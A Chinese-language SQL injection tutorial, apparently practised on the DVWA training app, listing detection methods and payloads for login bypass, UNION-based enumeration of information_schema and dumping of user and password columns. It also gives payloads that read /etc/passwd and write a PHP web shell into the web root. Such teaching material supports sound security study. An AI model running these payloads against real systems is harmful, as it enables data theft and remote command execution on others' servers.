服務器端程序將用戶輸入作為參數作為查詢條件,直接拼寫sql語句,並將結果返回給客戶端瀏覽器
如判斷登錄
select * from users where user='uname' and password='pass'
select * from users where user='name' and password="or"=''
基於報錯的檢測方法:
' " %
查看代碼id那里有兩個單引號,再插入一個單引號,帶入查詢了,就可以構造自定義的sql語句
基於布爾的檢測:
1' and '1'='1或1' and '1
1'and'1'='2 或1' and '0
表列數/顯示信息位於哪一列:
'order by 3-- #按查詢列號排序(-- 注釋符)
如果猜測不對會返回報錯
猜到第二列沒返回,說明在第二列
聯合查詢:
' union select 1,2--
查到對應信息后,查看db用戶-----user() db版本----version() 當前數據庫---database()
函數@@datadir--數據庫路徑 @@hostname--主機名 @@version--數據庫版本信息 @@version_compile_os--系統主機版本
查看數據庫版本和用戶
查看當前數據庫
查看數據庫路徑
mysql數據結構------infomation_schema所有信息都在這個庫里面
查看所有的庫,和所有的表
' union select table_name,table_schema from information_schema.tables--
統計每個表中的數量
'union select table_schema,count(*) from information_Schema.tables group by table_schema--
查看dvwa庫中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
查看dvwa表中的所有列
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--
查詢dvwa表中的user password列的內容
' union select user,password from dvwa.users--
讀取文件
' union select null,load_file('/etc/passwd')--
寫入文件(寫入木馬什么的,前提是要有www目錄的寫權限)
' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--
然后執行命令
如果沒有權限的話,可以配合文件包含漏洞,把文件寫到tmp目錄下,利用文件包含來執行命令
sql盲注
不顯示數據庫內建的報錯信息,報錯信息提供關於系統的大量有用信息
當報錯信息隱藏了,或者替換為通用的錯誤提示,sql注入無法根據報錯信息判斷語句的執行結果,即盲
思路:無法基於報錯結果判斷,那就基於邏輯真假的不同結果來判斷
1' and 1=1-- (結果為真,返回執行了)
1' and 1=2--(結果為假的時候,沒有任何返回,說明邏輯語句被執行了)
1' order by 2-- 查詢有兩個字段
1' union select 1,2-- 聯合查詢
1' and 1=0 union select null,table_name from information_schema.tables--
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--
友情鏈接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn